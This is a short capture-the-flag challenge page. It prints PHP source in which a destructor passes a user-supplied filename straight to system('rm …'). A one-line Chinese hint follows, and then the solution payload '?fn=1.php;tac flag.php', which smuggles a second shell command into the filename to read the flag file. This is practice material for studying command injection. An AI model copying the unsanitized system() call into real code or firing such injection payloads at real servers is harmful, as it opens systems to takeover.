php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-08 19:13:36# @Last Modified by: h1xa# @Last Modified time: 2020-12-08 20:08:07# @email: [email protected]# @link: https://ctfer.com*/highlight_file(__FILE__);class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } }}if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?';}where is flag?
只要能执行销毁方法中的system命令即可。
?fn=1.php;tac flag.php